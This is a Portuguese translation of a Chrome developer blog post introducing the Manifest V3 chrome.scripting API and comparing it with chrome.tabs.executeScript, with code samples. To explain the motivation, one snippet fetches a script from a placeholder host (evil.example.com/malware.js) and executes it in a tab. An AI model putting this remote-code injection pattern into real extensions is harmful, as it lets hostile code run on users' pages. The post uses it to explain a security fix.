Introdução ao chrome.scripting

Simeon Vincent
Simeon Vincent

O Manifest V3 (link em inglês) introduz várias mudanças na plataforma de extensões do Chrome. Nesta postagem, vamos explorar as motivações e mudanças introduzidas por uma das mudanças mais importantes: a introdução da API chrome.scripting.

O que é chrome.scripting?

Como o nome pode sugerir, chrome.scripting é um novo namespace introduzido no Manifesto V3, responsável pelos recursos de injeção de script e estilo.

Os desenvolvedores que já criaram extensões do Chrome podem conhecer os métodos do Manifest V2 na API de guias, como chrome.tabs.executeScript e chrome.tabs.insertCSS. Esses métodos permitem que as extensões injetem scripts e folhas de estilo nas páginas, respectivamente. No Manifesto V3, esses recursos foram movidos para chrome.scripting, e planejamos expandir essa API com alguns novos recursos no futuro.

Por que criar uma nova API?

Com uma mudança como essa, uma das primeiras perguntas que costumam surgir é "por quê?".

Vários fatores diferentes levaram a equipe do Chrome a decidir introduzir um novo namespace para scripts. Primeiro, a API Tabs é uma espécie de lixeira para recursos. Em segundo lugar, precisávamos fazer alterações interruptivas na API executeScript existente. Terceiro, sabíamos que queríamos expandir os recursos de scripting para extensões. Juntas, essas preocupações definiram claramente a necessidade de um novo namespace para armazenar recursos de script.

Gaveta de itens sem importância

Um dos problemas que tem incomodado a equipe de extensões nos últimos anos é que a API chrome.tabs está sobrecarregada. Quando essa API foi introduzida pela primeira vez, a maioria dos recursos que ela oferecia estava relacionada ao amplo conceito de uma guia do navegador. Mesmo assim, ele era uma mistura de recursos, e com o passar dos anos, essa coleção só cresceu.

Quando o Manifest V3 foi lançado, a API Tabs já havia crescido para abranger o gerenciamento básico de guias, o gerenciamento de seleção, a organização de janelas, as mensagens, o controle de zoom, a navegação básica, a criação de scripts e alguns outros recursos menores. Embora tudo isso seja importante, pode ser um pouco desgastante para os desenvolvedores quando eles estão começando e para a equipe do Chrome, à medida que mantemos a plataforma e consideramos as solicitações da comunidade de desenvolvedores.

Outro fator complicador é que a permissão tabs não é bem compreendida. Embora muitas outras permissões restrinjam o acesso a uma determinada API (por exemplo, storage), essa permissão é um pouco incomum, porque concede à extensão acesso apenas a propriedades sensíveis em instâncias de guia (e, por extensão, também afeta a API do Windows). É compreensível que muitos desenvolvedores de extensões pensem erroneamente que precisam dessa permissão para acessar métodos na API Tabs, como chrome.tabs.create ou, mais especificamente, chrome.tabs.executeScript. A remoção da funcionalidade da API Tabs ajuda a esclarecer parte dessa confusão.

Alterações importantes

Ao projetar o Manifesto V3, um dos principais problemas que queríamos resolver era o abuso e o malware ativados por "código hospedado remotamente", que é executado, mas não incluído no pacote de extensão. É comum que os autores de extensões abusivos executem scripts buscados de servidores remotos para roubar dados do usuário, injetar malware e evitar a detecção. Embora bons atores também usem esse recurso, em última análise, sentimos que era simplesmente muito perigoso permanecer como era.

Há algumas maneiras diferentes de as extensões executarem o código não agrupado, mas a relevante aqui é o método chrome.tabs.executeScript do Manifest V2. Esse método permite que uma extensão execute uma string arbitrária de código em uma guia de destino. Isso significa que um desenvolvedor malicioso pode buscar um script arbitrário de um servidor remoto e executá-lo em qualquer página que a extensão possa acessar. Sabíamos que, se quiséssemos resolver o problema do código remoto, precisaríamos abandonar esse recurso.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Também queríamos corrigir alguns outros problemas mais sutis com o design da versão 2 do Manifest e tornar a API uma ferramenta mais refinada e previsível.

Embora pudéssemos ter mudado a assinatura desse método na API Tabs, percebemos que entre essas mudanças interruptivas e a introdução de novos recursos (abordados na próxima seção), uma pausa limpa seria mais fácil para todos.

Recursos de script expandidos

Outra consideração que influenciou o processo de design do Manifesto V3 foi o desejo de introduzir outros recursos de script na plataforma de extensões do Chrome. Especificamente, queríamos adicionar suporte a scripts de conteúdo dinâmico e expandir os recursos do método executeScript.

O suporte a scripts de conteúdo dinâmico é um recurso solicitado há muito tempo no Chromium. Atualmente, as extensões do Chrome do Manifesto V2 e V3 só podem declarar estaticamente scripts de conteúdo no arquivo manifest.json. A plataforma não oferece uma maneira de registrar novos scripts de conteúdo, ajustar o registro de scripts de conteúdo ou cancelar o registro de scripts de conteúdo no momento da execução.

Sabíamos que queríamos atender a essa solicitação de recurso no Manifesto V3, mas nenhuma das nossas APIs parecia ser a melhor opção. Também consideramos o alinhamento com o Firefox na API Content Scripts, mas logo no início identificamos algumas das principais desvantagens dessa abordagem. Primeiro, sabíamos que teríamos assinaturas incompatíveis (por exemplo, abandonando a compatibilidade com a propriedade code). Segundo, nossa API tinha um conjunto diferente de restrições de design (por exemplo, a necessidade de um registro para persistir além do ciclo de vida de um service worker). Por fim, esse namespace também nos limita a funcionalidade de script de conteúdo, em que estamos pensando em scripts em extensões de forma mais ampla.

Em relação ao executeScript, também queríamos expandir o que essa API poderia fazer além do que a versão da API Tabs oferece suporte. Mais especificamente, queríamos oferecer suporte a funções e argumentos, segmentar frames específicos com mais facilidade e segmentar contextos que não sejam "guias".

De agora em diante, também estamos considerando como as extensões podem interagir com PWAs instalados e outros contextos que não são mapeados conceitualmente para "guias".

Mudanças entre tabs.executeScript e scripting.executeScript

No restante desta postagem, quero analisar melhor as semelhanças e diferenças entre chrome.tabs.executeScript e chrome.scripting.executeScript.

Como injetar uma função com argumentos

Ao considerar como a plataforma precisaria evoluir devido às restrições de código hospedado remotamente, queríamos encontrar um equilíbrio entre o poder bruto da execução de código arbitrário e a permissão apenas de scripts de conteúdo estático. A solução que encontramos foi permitir que as extensões injetassem uma função como um script de conteúdo e transmitissem uma matriz de valores como argumentos.

Vamos conferir um exemplo (simplificado demais). Digamos que queremos injetar um script que cumprimente o usuário pelo nome quando ele clicar no botão de ação da extensão (ícone na barra de ferramentas). No Manifest V2, podemos construir dinamicamente uma string de código e executar esse script na página atual.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Embora as extensões do Manifest V3 não possam usar códigos que não sejam empacotados com a extensão, nosso objetivo era preservar um pouco do dinamismo que os blocos de código arbitrários habilitaram para extensões do Manifest V2. A abordagem de função e argumentos permite que os revisores da Chrome Web Store, os usuários e outras partes interessadas avaliem com mais precisão os riscos de uma extensão, além de permitir que os desenvolvedores modifiquem o comportamento de execução de uma extensão com base nas configurações do usuário ou no estado do aplicativo.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Segmentação de frames

Também queríamos melhorar a interação dos desenvolvedores com os frames na API revisada. A versão V2 do manifesto de executeScript permitia que os desenvolvedores segmentassem todos os frames em uma guia ou um frame específico na guia. É possível usar chrome.webNavigation.getAllFrames para receber uma lista de todos os frames em uma guia.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

No Manifesto V3, substituímos a propriedade de número inteiro opcional frameId no objeto de opções por uma matriz frameIds opcional de números inteiros. Isso permite que os desenvolvedores direcionem para vários frames em uma única chamada de API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Resultados da injeção de script

Também melhoramos a forma como retornamos os resultados da injeção de script no Manifesto V3. Um "resultado" é basicamente a instrução final avaliada em um script. Pense nele como o valor retornado quando você chama eval() ou executa um bloco de código no console do Chrome DevTools, mas serializado para transmitir resultados entre processos.

No Manifest V2, executeScript e insertCSS retornavam uma matriz de resultados de execução simples. Isso é aceitável se você tiver apenas um ponto de injeção, mas a ordem dos resultados não é garantida ao injetar em vários frames. Portanto, não há como saber qual resultado está associado a qual frame.

Para ver um exemplo concreto, vamos dar uma olhada nas matrizes results retornadas por um Manifesto V2 e uma versão Manifesto V3 da mesma extensão. Ambas as versões da extensão vão injetar o mesmo script de conteúdo, e vamos comparar os resultados na mesma página de demonstração.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Quando executamos a versão V2 do manifesto, recebemos uma matriz de [1, 0, 5]. Qual resultado corresponde ao frame principal e qual é para o iframe? O valor de retorno não nos informa, portanto, não temos certeza.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Na versão 3 do manifesto, results agora contém uma matriz de objetos de resultado em vez de uma matriz de apenas os resultados da avaliação, e os objetos de resultado identificam claramente o ID do frame para cada resultado. Assim, fica muito mais fácil para os desenvolvedores utilizarem o resultado e realizarem ações em um frame específico.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusão

As atualizações de versão do manifesto são uma oportunidade rara para repensar e modernizar as APIs de extensões. Nosso objetivo com o Manifesto V3 é melhorar a experiência do usuário final, tornando as extensões mais seguras e, ao mesmo tempo, melhorando a experiência do desenvolvedor. Ao apresentar chrome.scripting no Manifesto V3, conseguimos ajudar a limpar a API Tabs, reformular o executeScript para uma plataforma de extensões mais segura e estabelecer a base para novos recursos de script que serão lançados ainda este ano.